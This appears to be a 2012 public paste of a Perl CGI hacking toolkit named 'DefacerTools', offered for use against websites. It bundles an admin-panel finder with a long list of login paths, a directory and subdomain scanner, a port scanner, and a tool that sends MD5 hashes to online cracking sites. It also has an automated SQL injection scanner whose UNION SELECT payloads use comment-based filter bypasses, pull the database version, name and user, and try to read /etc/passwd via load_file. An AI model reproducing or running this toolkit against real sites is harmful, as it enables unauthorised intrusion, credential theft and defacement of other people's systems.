Don't like ads? PRO users don't see any ads ;-)
Public Pastes
Guest

Untitled

By: a guest on May 28th, 2012  |  syntax: None  |  size: 26.15 KB  |  hits: 27  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. use CGI;
  2. use LWP::UserAgent;
  3. use URI::Split qw(uri_split);
  4. use HTML::LinkExtor;
  5. use IO::Socket;
  6.  
  7. @panels = (
  8.     'admin/admin.asp',               'admin/login.asp',
  9.     'admin/index.asp',               'admin/admin.aspx',
  10.     'admin/login.aspx',              'admin/index.aspx',
  11.     'admin/webmaster.asp',           'admin/webmaster.aspx',
  12.     'asp/admin/index.asp',           'asp/admin/index.aspx',
  13.     'asp/admin/admin.asp',           'asp/admin/admin.aspx',
  14.     'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
  15.     'admin/',                        'login.asp',
  16.     'login.aspx',                    'admin.asp',
  17.     'admin.aspx',                    'webmaster.aspx',
  18.     'webmaster.asp',                 'login/index.asp',
  19.     'login/index.aspx',              'login/login.asp',
  20.     'login/login.aspx',              'login/admin.asp',
  21.     'login/admin.aspx',              'administracion/index.asp',
  22.     'administracion/index.aspx',     'administracion/login.asp',
  23.     'administracion/login.aspx',     'administracion/webmaster.asp',
  24.     'administracion/webmaster.aspx', 'administracion/admin.asp',
  25.     'administracion/admin.aspx',     'php/admin/',
  26.     'admin/admin.php',               'admin/index.php',
  27.     'admin/login.php',               'admin/system.php',
  28.     'admin/ingresar.php',            'admin/administrador.php',
  29.     'admin/default.php',             'administracion/',
  30.     'administracion/index.php',      'administracion/login.php',
  31.     'administracion/ingresar.php',   'administracion/admin.php',
  32.     'administration/',               'administration/index.php',
  33.     'administration/login.php',      'administrator/index.php',
  34.     'administrator/login.php',       'administrator/system.php',
  35.     'system/',                       'system/login.php',
  36.     'admin.php',                     'login.php',
  37.     'administrador.php',             'administration.php',
  38.     'administrator.php',             'admin1.html',
  39.     'admin1.php',                    'admin2.php',
  40.     'admin2.html',                   'yonetim.php',
  41.     'yonetim.html',                  'yonetici.php',
  42.     'yonetici.html',                 'adm/',
  43.     'admin/account.php',             'admin/account.html',
  44.     'admin/index.html',              'admin/login.html',
  45.     'admin/home.php',                'admin/controlpanel.html',
  46.     'admin/controlpanel.php',        'admin.html',
  47.     'admin/cp.php',                  'admin/cp.html',
  48.     'cp.php',                        'cp.html',
  49.     'administrator/',                'administrator/index.html',
  50.     'administrator/login.html',      'administrator/account.html',
  51.     'administrator/account.php',     'administrator.html',
  52.     'login.html',                    'modelsearch/login.php',
  53.     'moderator.php',                 'moderator.html',
  54.     'moderator/login.php',           'moderator/login.html',
  55.     'moderator/admin.php',           'moderator/admin.html',
  56.     'moderator/',                    'account.php',
  57.     'account.html',                  'controlpanel/',
  58.     'controlpanel.php',              'controlpanel.html',
  59.     'admincontrol.php',              'admincontrol.html',
  60.     'adminpanel.php',                'adminpanel.html',
  61.     'admin1.asp',                    'admin2.asp',
  62.     'yonetim.asp',                   'yonetici.asp',
  63.     'admin/account.asp',             'admin/home.asp',
  64.     'admin/controlpanel.asp',        'admin/cp.asp',
  65.     'cp.asp',                        'administrator/index.asp',
  66.     'administrator/login.asp',       'administrator/account.asp',
  67.     'administrator.asp',             'modelsearch/login.asp',
  68.     'moderator.asp',                 'moderator/login.asp',
  69.     'moderator/admin.asp',           'account.asp',
  70.     'controlpanel.asp',              'admincontrol.asp',
  71.     'adminpanel.asp',                'fileadmin/',
  72.     'fileadmin.php',                 'fileadmin.asp',
  73.     'fileadmin.html',                'administration.html',
  74.     'sysadmin.php',                  'sysadmin.html',
  75.     'phpmyadmin/',                   'myadmin/',
  76.     'sysadmin.asp',                  'sysadmin/',
  77.     'ur-admin.asp',                  'ur-admin.php',
  78.     'ur-admin.html',                 'ur-admin/',
  79.     'Server.php',                    'Server.html',
  80.     'Server.asp',                    'Server/',
  81.     'wp-admin/',                     'administr8.php',
  82.     'administr8.html',               'administr8/',
  83.     'administr8.asp',                'webadmin/',
  84.     'webadmin.php',                  'webadmin.asp',
  85.     'webadmin.html',                 'administratie/',
  86.     'admins/',                       'admins.php',
  87.     'admins.asp',                    'admins.html',
  88.     'administrivia/',                'Database_Administration/',
  89.     'WebAdmin/',                     'useradmin/',
  90.     'sysadmins/',                    'admin1/',
  91.     'system-administration/',        'administrators/',
  92.     'pgadmin/',                      'directadmin/',
  93.     'staradmin/',                    'ServerAdministrator/',
  94.     'SysAdmin/',                     'administer/',
  95.     'LiveUser_Admin/',               'sys-admin/',
  96.     'typo3/',                        'panel/',
  97.     'cpanel/',                       'cPanel/',
  98.     'cpanel_file/',                  'platz_login/',
  99.     'rcLogin/',                      'blogindex/',
  100.     'formslogin/',                   'autologin/',
  101.     'support_login/',                'meta_login/',
  102.     'manuallogin/',                  'simpleLogin/',
  103.     'loginflat/',                    'utility_login/',
  104.     'showlogin/',                    'memlogin/',
  105.     'members/',                      'login-redirect/',
  106.     'sub-login/',                    'wp-login/',
  107.     'login1/',                       'dir-login/',
  108.     'login_db/',                     'xlogin/',
  109.     'smblogin/',                     'customer_login/',
  110.     'UserLogin/',                    'login-us/',
  111.     'acct_login/',                   'admin_area/',
  112.     'bigadmin/',                     'project-admins/',
  113.     'phppgadmin/',                   'pureadmin/',
  114.     'sql-admin/',                    'radmind/',
  115.     'openvpnadmin/',                 'wizmysqladmin/',
  116.     'vadmind/',                      'ezsqliteadmin/',
  117.     'hpwebjetadmin/',                'newsadmin/',
  118.     'adminpro/',                     'Lotus_Domino_Admin/',
  119.     'bbadmin/',                      'vmailadmin/',
  120.     'Indy_admin/',                   'ccp14admin/',
  121.     'irc-macadmin/',                 'banneradmin/',
  122.     'sshadmin/',                     'phpldapadmin/',
  123.     'macadmin/',                     'administratoraccounts/',
  124.     'admin4_account/',               'admin4_colon/',
  125.     'radmind-1/',                    'Super-Admin/',
  126.     'AdminTools/',                   'cmsadmin/',
  127.     'SysAdmin2/',                    'globes_admin/',
  128.     'cadmins/',                      'phpSQLiteAdmin/',
  129.     'navSiteAdmin/',                 'server_admin_small/',
  130.     'logo_sysadmin/',                'server/',
  131.     'database_administration/',      'power_user/',
  132.     'system_administration/',        'ss_vms_admin_sm/'
  133. );
  134.  
  135. my @dns = ('www');
  136.  
  137. #my @dns = ('www','www1','www2','www3','ftp','ns','mail','3com','aix','apache','back','bind','boreder','bsd','business','chains','cisco','content','corporate','cpv','dns','domino','dominoserver','download','e-mail','e-safe','email','esafe','external','extranet','firebox','firewall','front','fw','fw0','fwe','fw-1','firew','gate','gatekeeper','gateway','gauntlet','group','help','hop','hp','hpjet','hpux','http','https','hub','ibm','ids','info','inside','internal','internet','intranet','ipfw','irix','jet','list','lotus','lotusdomino','lotusnotes','lotusserver','mailfeed','mailgate','mailgateway','mailgroup','mailhost','maillist','mailpop','mailrelay','mimesweeper','ms','msproxy','mx','nameserver','news','newsdesk','newsfeed','newsgroup','newsroom','newsserver','nntp','notes','noteserver','notesserver','nt','outside','pix','pop','pop3','pophost','popmail','popserver','print','printer','private','proxy','proxyserver','public','qpop','raptor','read','redcreek','redhat','route','router','scanner','screen','screening','s#ecure','seek','smail','smap','smtp','smtpgateway','smtpgw','solaris','sonic','spool','squid','sun','sunos','suse','switch','transfer','trend','trendmicro','vlan','vpn','wall','web','webmail','webserver','webswitch','win2000','win2k','upload','file','fileserver','storage','backup','share','core','gw','wingate','main','noc','home','radius','security','access','dmz','domain','sql','mysql','mssql','postgres','db','database','imail','imap','exchange','sendmail','louts','test','logs','stage','staging','dev','devel','ppp','chat','irc','eng','admin','unix','linux','windows','apple','hp-ux','bigip','pc');
  138.  
  139. my $nave = LWP::UserAgent->new;
  140. $nave->agent(
  141. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  142. );
  143. $nave->timeout(5);
  144.  
  145. my %rta;
  146.  
  147. my $que  = new CGI;
  148. my @ques = $que->param;
  149.  
  150. for (@ques) {
  151.     $rta{$_} = $que->param($_);
  152. }
  153.  
  154. print "Content-type:text/html\n\n";
  155. print "
  156.  
  157. <style type=text/css>
  158.  
  159.  
  160. .main {
  161. margin                  : -287px 0px 0px -490px;
  162. border                  : White solid 1px;
  163. BORDER-COLOR: #00FF00;
  164. }
  165.  
  166. #pie {
  167. position: absolute;
  168. bottom: 0;
  169. }
  170.  
  171. body,a:link {
  172. font: normal 16px Verdana, Arial, Helvetica,
  173. sans-serif;
  174. background-color: #000000;
  175. color:#00FF00;
  176. Courier New;
  177. cursor:crosshair;
  178. font-size: small;
  179. }
  180.  
  181. input,table.outset,table.bord,table,textarea,select {
  182. background-color:black;color:#00FF00;
  183. border: solid 1px #00FF00;
  184. border-color:#00FF00
  185. }
  186.  
  187. a:link,a:visited,a:active {
  188. color: #00FF00;
  189. font: normal 16px Verdana, Arial, Helvetica,
  190. sans-serif;
  191. text-decoration: none;
  192. }
  193.  
  194. </style>";
  195.  
  196. if ( $rta{'hex'} ) {
  197.     logouno();
  198.     print
  199. qq(<form method=post action=''><b>Text to encode : </b><input type=text name=textocode value=test><input type=submit name=codificar value=Encode></form>);
  200.     copyright();
  201. }
  202. elsif ( $rta{'textocode'} ) {
  203.     logouno();
  204.     print "[+] Encode : <b>" . encode( $rta{'textocode'} ) . "</b><br><br>";
  205.     print "</center>";
  206.     copyright();
  207. }
  208. elsif ( $rta{'panelfinder'} ) {
  209.     logodos();
  210.     print
  211. qq(<form method=post action=''><b>Page : </b><input type=text name=buscarpanel value=http://localhost/><input type=submit value=Find></form>);
  212.     copyright();
  213. }
  214. elsif ( $rta{'buscarpanel'} ) {
  215.  
  216.     my $page = $rta{'buscarpanel'};
  217.     logodos();
  218.     print "<br>[+] Scanning $page<br><br>";
  219.     for $path (@panels) {
  220.         $code = tomax( $page . "/" . $path );
  221.         if ( $code->is_success ) {
  222.             print "[Link] : " . $page . "/" . $path . "<br>";
  223.         }
  224.     }
  225.     print "<br><br>[+] Finish<br>";
  226.     copyright();
  227. }
  228. elsif ( $rta{'pathsfinder'} ) {
  229.     logotres();
  230.     print
  231. qq(<form method=post action=''><b>Page : </b><input type=text name=buscarpaths value=http://localhost/doddy><input type=submit name=codificar value=Find></form>);
  232.     copyright();
  233. }
  234. elsif ( $rta{'buscarpaths'} ) {
  235.     logotres();
  236.  
  237.     my $page = $rta{'buscarpaths'};
  238.  
  239.     my $code  = toma($page);
  240.     my @links = get_links($code);
  241.  
  242.     print "<br><br>[+] Finding paths<br><br>";
  243.  
  244.     for my $com (@links) {
  245.         my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);
  246.         if ( $path =~ /\/(.*)$/ ) {
  247.             my $path1 = $1;
  248.             $page =~ s/$path1//ig;
  249.             my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
  250.             if ( $path =~ /(.*)\// ) {
  251.                 my $parche = $1;
  252.                 unless ( $repetidos =~ /$parche/ ) {
  253.                     $repetidos .= " " . $parche;
  254.                     my $code = toma( "http://" . $auth . $parche );
  255.  
  256.                     if ( $code =~ /Index of (.*)</ig ) {
  257.                         my $dir_found = $1;
  258.                         chomp $dir_found;
  259.                         print "[+] Directory Found : $page/$dir_found<br>";
  260.                     }
  261.                 }
  262.             }
  263.         }
  264.     }
  265.     print "<br><br>[+]Finished<br>";
  266.     copyright();
  267. }
  268. elsif ( $rta{'sqliscanner'} ) {
  269.     logocuatro();
  270.     print
  271. qq(<form method=post action=''><b>Page : </b><input type=text name=buscarsql value=http://localhost/sql.php?id=><input type=submit name=codificar value=Scan></form>);
  272.     copyright();
  273. }
  274. elsif ( $rta{'buscarsql'} ) {
  275.     logocuatro();
  276.     print "<br><br>[+] Scanning page<br><br>";
  277.     &length( $rta{'buscarsql'} );
  278.     print "<br><br>[+] Finished";
  279.     copyright();
  280. }
  281. elsif ( $rta{'fuzzdns'} ) {
  282.     logocinco();
  283.     print
  284. qq(<form method=post action=''><b>Host : </b><input type=text name=buscardns value=google.com><input type=submit name=codificar value=Scan></form>);
  285.     copyright();
  286. }
  287. elsif ( $rta{'buscardns'} ) {
  288.     logocinco();
  289.  
  290.     my $page = $rta{'buscardns'};
  291.  
  292.     print "<br><br>[+] Searching DNS to " . $page . ".....<br><br><br>";
  293.     for my $path (@dns) {
  294.         $code = tomax( "http://" . $path . "." . $page );
  295.         if ( $code->is_success ) {
  296.             print "[+] Found : http://" . $path . "." . $page . "<br>";
  297.         }
  298.     }
  299.     print "<br><br>[+] Finished<br><br>";
  300.     copyright();
  301. }
  302. elsif ( $rta{'finderpass'} ) {
  303.     logoseis();
  304.     print
  305. qq(<form method=post action=''><b>MD5 : </b><input type=text name=buscarhash value=202cb962ac59075b964b07152d234b70><input type=submit name=codificar value=Scan></form>);
  306.     copyright();
  307. }
  308. elsif ( $rta{'buscarhash'} ) {
  309.     logoseis();
  310.     &crackit( $rta{'buscarhash'} );
  311.     copyright();
  312. }
  313. elsif ( $rta{'portscanner'} ) {
  314.     logosiete();
  315.     print
  316. qq(<form method=post action=''><b>IP : </b><input type=text name=buscarpuertos value=localhost><input type=submit name=codificar value=Scan></form>);
  317.     copyright();
  318. }
  319. elsif ( $rta{'buscarpuertos'} ) {
  320.     logosiete();
  321.     scanuno( $rta{'buscarpuertos'} );
  322.     copyright();
  323. }
  324. elsif ( $rta{'home'} ) {
  325.     sintax();
  326. }
  327. else {
  328.     sintax();
  329. }
  330.  
  331. sub sintax {
  332.     print qq(
  333. <title>DefacerTools 0.5 (C) Doddy Hackman 2012</title>
  334. <br><br>
  335. <h1><center>DefacerTools</center></h1>
  336. <br><br>
  337. <center>
  338. <table border=1>
  339. <td class=main><center><b>Tools</b></center></td><tr>
  340. <td class=main><a href=?hex=true><center>HexConverter</center></a></td><tr>
  341. <td class=main><a href=?panelfinder=true><center>PanelFinder</center></a></td><tr>
  342. <td class=main><a href=?pathsfinder=true><center>PathsFinder</center></a></td><tr>
  343. <td class=main><a href=?sqliscanner=true><center>SQLi Scanner</center></a></td><tr>
  344. <td class=main><a href=?fuzzdns=true><center>FuzzDNS</center></a></td><tr>
  345. <td class=main><a href=?finderpass=true><center>FinderPass</center></a></td><tr>
  346. <td class=main><a href=?portscanner=true><center>PortScanner</center></a></td>
  347. </table>
  348. </center>      
  349. );
  350. }
  351.  
  352. sub logouno {
  353.     print qq(
  354. <center>
  355. <pre>
  356.  
  357.  
  358.  
  359.  @    @                 @@@@                                        
  360.  @    @                @    @                            @          
  361.  @    @                @                                 @          
  362.  @    @   @@@  @  @    @       @@@  @ @@  @   @  @@@  @@ @@  @@@  @@
  363.  @@@@@@  @   @ @  @    @      @   @ @@  @ @   @ @   @ @  @  @   @ @
  364.  @    @  @@@@@  @@     @      @   @ @   @  @ @  @@@@@ @  @  @@@@@ @
  365.  @    @  @      @@     @      @   @ @   @  @ @  @     @  @  @     @
  366.  @    @  @   @ @  @    @    @ @   @ @   @   @   @   @ @  @  @   @ @
  367.  @    @   @@@  @  @     @@@@   @@@  @   @   @    @@@  @   @  @@@  @
  368.  
  369.  
  370.  
  371.  
  372. </pre>
  373.  
  374.  
  375. );
  376. }
  377.  
  378. sub logodos {
  379.     print qq(
  380. <center>
  381. <pre>
  382.  
  383.  
  384.  
  385.  @@@@@                    @ @@@@@ @           @        
  386.  @    @                   @ @                 @        
  387.  @    @                   @ @                 @        
  388.  @    @  @@@  @ @@   @@@  @ @     @ @ @@   @@@@  @@@  @@
  389.  @@@@@      @ @@  @ @   @ @ @@@@  @ @@  @ @   @ @   @ @
  390.  @       @@@@ @   @ @@@@@ @ @     @ @   @ @   @ @@@@@ @
  391.  @      @   @ @   @ @     @ @     @ @   @ @   @ @     @
  392.  @      @   @ @   @ @   @ @ @     @ @   @ @   @ @   @ @
  393.  @       @@@@ @   @  @@@  @ @     @ @   @  @@@@  @@@  @
  394.  
  395.  
  396.  
  397.  
  398. </pre>
  399.  
  400.  
  401. );
  402. }
  403.  
  404. sub logotres {
  405.     print qq(
  406. <center>
  407. <pre>
  408.  
  409.  
  410.  
  411.  @@@@@           @          @@@@@ @           @        
  412.  @    @       @  @          @                 @        
  413.  @    @       @  @          @                 @        
  414.  @    @  @@@  @@ @ @@   @@  @     @ @ @@   @@@@  @@@  @@
  415.  @@@@@      @ @  @@  @ @  @ @@@@  @ @@  @ @   @ @   @ @
  416.  @       @@@@ @  @   @  @   @     @ @   @ @   @ @@@@@ @
  417.  @      @   @ @  @   @   @  @     @ @   @ @   @ @     @
  418.  @      @   @ @  @   @ @  @ @     @ @   @ @   @ @   @ @
  419.  @       @@@@  @ @   @  @@  @     @ @   @  @@@@  @@@  @
  420.  
  421.  
  422.  
  423.  
  424.  
  425. </pre>
  426.  
  427.  
  428. );
  429. }
  430.  
  431. sub logocuatro {
  432.     print qq(
  433. <center>
  434. <pre>
  435.  
  436.  
  437.  
  438.   @@@    @@@@   @     @      @@@                                  
  439.  @   @  @    @  @     @     @   @                                  
  440.  @      @    @  @     @     @                                      
  441.  @      @    @  @     @     @       @@@   @@@  @ @@  @ @@   @@@  @@
  442.   @@@   @    @  @     @      @@@   @   @     @ @@  @ @@  @ @   @ @
  443.      @  @    @  @     @         @  @      @@@@ @   @ @   @ @@@@@ @
  444.      @  @  @ @  @     @         @  @     @   @ @   @ @   @ @     @
  445.  @   @  @   @@  @     @     @   @  @   @ @   @ @   @ @   @ @   @ @
  446.   @@@    @@@@   @@@@@ @      @@@    @@@   @@@@ @   @ @   @  @@@  @
  447.              @                                                    
  448.  
  449.  
  450.  
  451.  
  452.  
  453. </pre>
  454.  
  455.  
  456. );
  457. }
  458.  
  459. sub logocinco {
  460.     print qq(
  461. <center>
  462. <pre>
  463.  
  464.  
  465.  
  466.  @@@@@                    @@@@    @    @   @@@
  467.  @                        @   @   @@   @  @   @
  468.  @                        @    @  @@   @  @    
  469.  @     @   @ @@@@ @@@@    @    @  @ @  @  @    
  470.  @@@@  @   @    @    @    @    @  @ @  @   @@@
  471.  @     @   @   @    @     @    @  @  @ @      @
  472.  @     @   @  @    @      @    @  @   @@      @
  473.  @     @  @@ @    @       @   @   @   @@  @   @
  474.  @      @@ @ @@@@ @@@@    @@@@    @    @   @@@
  475.  
  476.  
  477.  
  478.  
  479.  
  480.  
  481. </pre>
  482.  
  483.  
  484. );
  485. }
  486.  
  487. sub logoseis {
  488.     print qq(
  489. <center>
  490. <pre>
  491.  
  492.  
  493.  
  494.  @@@@@ @           @          @@@@@                
  495.  @                 @          @    @                
  496.  @                 @          @    @                
  497.  @     @ @ @@   @@@@  @@@  @@ @    @  @@@   @@   @@
  498.  @@@@  @ @@  @ @   @ @   @ @  @@@@@      @ @  @ @  @
  499.  @     @ @   @ @   @ @@@@@ @  @       @@@@  @    @  
  500.  @     @ @   @ @   @ @     @  @      @   @   @    @
  501.  @     @ @   @ @   @ @   @ @  @      @   @ @  @ @  @
  502.  @     @ @   @  @@@@  @@@  @  @       @@@@  @@   @@
  503.  
  504.  
  505.  
  506.  
  507.  
  508.  
  509.  
  510. </pre>
  511.  
  512.  
  513. );
  514. }
  515.  
  516. sub logosiete {
  517.     print qq(
  518. <center>
  519. <pre>
  520.  
  521.  
  522.  
  523.  @@@@@               @@@                                  
  524.  @    @          @  @   @                                  
  525.  @    @          @  @                                      
  526.  @    @  @@@  @@ @@ @       @@@   @@@  @ @@  @ @@   @@@  @@
  527.  @@@@@  @   @ @  @   @@@   @   @     @ @@  @ @@  @ @   @ @
  528.  @      @   @ @  @      @  @      @@@@ @   @ @   @ @@@@@ @
  529.  @      @   @ @  @      @  @     @   @ @   @ @   @ @     @
  530.  @      @   @ @  @  @   @  @   @ @   @ @   @ @   @ @   @ @
  531.  @       @@@  @   @  @@@    @@@   @@@@ @   @ @   @  @@@  @
  532.  
  533.  
  534.  
  535.  
  536.  
  537.  
  538.  
  539.  
  540. </pre>
  541.  
  542.  
  543. );
  544. }
  545.  
  546. sub copyright {
  547.     print
  548. qq(<br><br><br><br><br><br><br><center><a href=?home=true><b>Return to home</b></a></center><br><br>);
  549. }
  550.  
  551. sub length {
  552.     print "<br>[+] Looking for the number of columns<br><br>";
  553.     my $rows = "0";
  554.     my $asc;
  555.     my $page = $_[0];
  556.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  557.  
  558.     $alert = "char(" . ascii("RATSXPDOWN1RATSXPDOWN") . ")";
  559.     $total = "1";
  560.     for my $rows ( 2 .. 200 ) {
  561.         $asc .=
  562.           "," . "char(" . ascii( "RATSXPDOWN" . $rows . "RATSXPDOWN" ) . ")";
  563.         $total .= "," . $rows;
  564.         $injection =
  565.             $page . "1"
  566.           . $pass1 . "and"
  567.           . $pass1 . "1=0"
  568.           . $pass1 . "union"
  569.           . $pass1
  570.           . "select"
  571.           . $pass1
  572.           . $alert
  573.           . $asc;
  574.         $test = toma($injection);
  575.         if ( $test =~ /RATSXPDOWN/ ) {
  576.             @number = $test =~ m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  577.             $control = 1;
  578.             my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  579.             my $save = $auth;
  580.             $total =~ s/$number[0]/hackman/;
  581.             print "[SQLI] : "
  582.               . $page . "1"
  583.               . $pass1 . "and"
  584.               . $pass1 . "1=0"
  585.               . $pass1 . "union"
  586.               . $pass1
  587.               . "select"
  588.               . $pass1
  589.               . $total . "<br>";
  590.             details(
  591.                 $page . "1"
  592.                   . $pass1 . "and"
  593.                   . $pass1 . "1=0"
  594.                   . $pass1 . "union"
  595.                   . $pass1
  596.                   . "select"
  597.                   . $pass1
  598.                   . $total,
  599.                 "--", ""
  600.             );
  601.         }
  602.     }
  603. }
  604.  
  605. sub details {
  606.     my ( $page, $bypass, $save ) = @_;
  607.     ( $pass1, $pass2 ) = &bypass($bypass);
  608.     if ( $page =~ /(.*)hackman(.*)/ig ) {
  609.         print "<br>[+] Searching information..<br><br>";
  610.         my ( $start, $end ) = ( $1, $2 );
  611.         $inforschema =
  612.             $start
  613.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  614.           . $end
  615.           . $pass1 . "from"
  616.           . $pass1
  617.           . "information_schema.tables"
  618.           . $pass2;
  619.         $mysqluser =
  620.             $start
  621.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  622.           . $end
  623.           . $pass1 . "from"
  624.           . $pass1
  625.           . "mysql.user"
  626.           . $pass2;
  627.         $test3 =
  628.           toma( $start
  629.               . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  630.               . $end
  631.               . $pass2 );
  632.         $test1 = toma($inforschema);
  633.         $test2 = toma($mysqluser);
  634.         if ( $test2 =~ /ERTOR854/ig ) {
  635.             print "[mysql.user] : ON<br>";
  636.         }
  637.         else {
  638.             print "[mysql.user] : OFF<br>";
  639.         }
  640.         if ( $test1 =~ /ERTOR854/ig ) {
  641.             print "[information_schema.tables] : ON<br>";
  642.         }
  643.         else {
  644.             print "[information_schema.tables] : OFF<br>";
  645.         }
  646.         if ( $test3 =~ /ERTOR854/ig ) {
  647.             print "[load_file] : ON<br>";
  648.         }
  649.         $concat =
  650. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  651.         $injection = $start . $concat . $end . $pass2;
  652.         $code      = toma($injection);
  653.         if ( $code =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g ) {
  654.             print
  655. "<br>[!] DB Version : $1<br>[!] DB Name : $2<br>[!] user_name : $3<br><br>";
  656.         }
  657.         else {
  658.             print "<br>[-] Not found any data<br>";
  659.         }
  660.     }
  661. }
  662.  
  663. sub encode {
  664.     my $string = $_[0];
  665.     $hex = '0x';
  666.     for ( split //, $string ) {
  667.         $hex .= sprintf "%x", ord;
  668.     }
  669.     return $hex;
  670. }
  671.  
  672. sub bypass {
  673.     if    ( $_[0] eq "/*" )  { return ( "/**/", "/**/" ); }
  674.     elsif ( $_[0] eq "%20" ) { return ( "%20",  "%00" ); }
  675.     else                     { return ( "+",    "--" ); }
  676. }
  677.  
  678. sub ascii {
  679.     return join ',', unpack "U*", $_[0];
  680. }
  681.  
  682. sub toma {
  683.     return $nave->get( $_[0] )->content;
  684. }
  685.  
  686. sub tomax {
  687.     return $nave->get( $_[0] );
  688. }
  689.  
  690. sub get_links {
  691.  
  692.     $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
  693.     return @links;
  694.  
  695.     sub agarrar {
  696.         my ( $a, %b ) = @_;
  697.         push( @links, values %b );
  698.     }
  699. }
  700.  
  701. sub crackit {
  702.  
  703.     my $secret = $_[0];
  704.  
  705.     print "<br><br>[+] Cracking $_[0]<br><br>";
  706.  
  707.     my %hash = (
  708.  
  709.         'http://passcracking.com/' => {
  710.             'tipo'      => 'post',
  711.             'variables' => '{"datafromuser" => $_[0], "submit" => "DoIT"}',
  712.             'regex' =>
  713. '<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
  714.         },
  715.         'http://md5.hashcracking.com/search.php?md5=' => {
  716.             'tipo'  => 'get',
  717.             'regex' => 'Cleartext of $_[0] is (.*)',
  718.         },
  719.         'http://www.bigtrapeze.com/md5/' => {
  720.             'tipo'      => 'post',
  721.             'variables' => '{"query" => $_[0], "submit" => " Crack "}',
  722.             'regex' =>
  723. 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
  724.         },
  725.         'http://opencrack.hashkiller.com/' => {
  726.             'tipo' => 'post',
  727.             'variables' =>
  728.               '{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
  729.             'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
  730.         },
  731.         'http://www.hashchecker.com/index.php?_sls=search_hash' => {
  732.             'tipo'      => 'post',
  733.             'variables' => '{"search_field" => $_[0], "Submit" => "search"}',
  734.             'regex' =>
  735. '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
  736.         },
  737.         'http://victorov.su/md5/?md5e=&md5d=' => {
  738.             'tipo'  => 'get',
  739.             'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
  740.         }
  741.     );
  742.  
  743.     for my $data ( keys %hash ) {
  744.  
  745.         if ( $hash{$data}{tipo} eq "get" ) {
  746.             $code = toma( $data . $_[0] );
  747.             if ( $code =~ /$hash{$data}{regex}/ig ) {
  748.                 print "<br>[+] Decoded : " . $1 . "<br><br>";
  749.                 print $secret. ":" . $1 . "<br>";
  750.             }
  751.         }
  752.         else {
  753.             $code = tomar( $data, $hash{$data}{variables} );
  754.             if ( $code =~ /$hash{$data}{regex}/ig ) {
  755.                 print $secret. ":" . $1 . "<br>";
  756.             }
  757.         }
  758.     }
  759.     print "<br>[+] Finish<br>";
  760. }
  761.  
  762. sub tomar {
  763.     my ( $web, $var ) = @_;
  764.     return $nave->post( $web, [ %{$var} ] )->content;
  765. }
  766.  
  767. sub scanuno {
  768.  
  769.     my %ports = (
  770.         "21"   => "ftp",
  771.         "22"   => "ssh",
  772.         "25"   => "smtp",
  773.         "80"   => "http",
  774.         "110"  => "pop3",
  775.         "3306" => "mysql"
  776.     );
  777.  
  778.     print "<br>[+] Scanning $_[0]<br><br><br>";
  779.  
  780.     for my $port ( keys %ports ) {
  781.  
  782.         if (
  783.             new IO::Socket::INET(
  784.                 PeerAddr => $_[0],
  785.                 PeerPort => $port,
  786.                 Proto    => "tcp",
  787.                 Timeout  => 0.5
  788.             )
  789.           )
  790.         {
  791.             print "[Port] : "
  792.               . $port
  793.               . " [Service] : "
  794.               . $ports{$port} . "<br>";
  795.         }
  796.     }
  797.     print "<br><br>[+] Scan Finish<br>";
  798. }
  799.  
  800. # The End ?
  801.  
  802.  En línea
  803. I Never Sit Fear
create a new version of this paste RAW Paste Data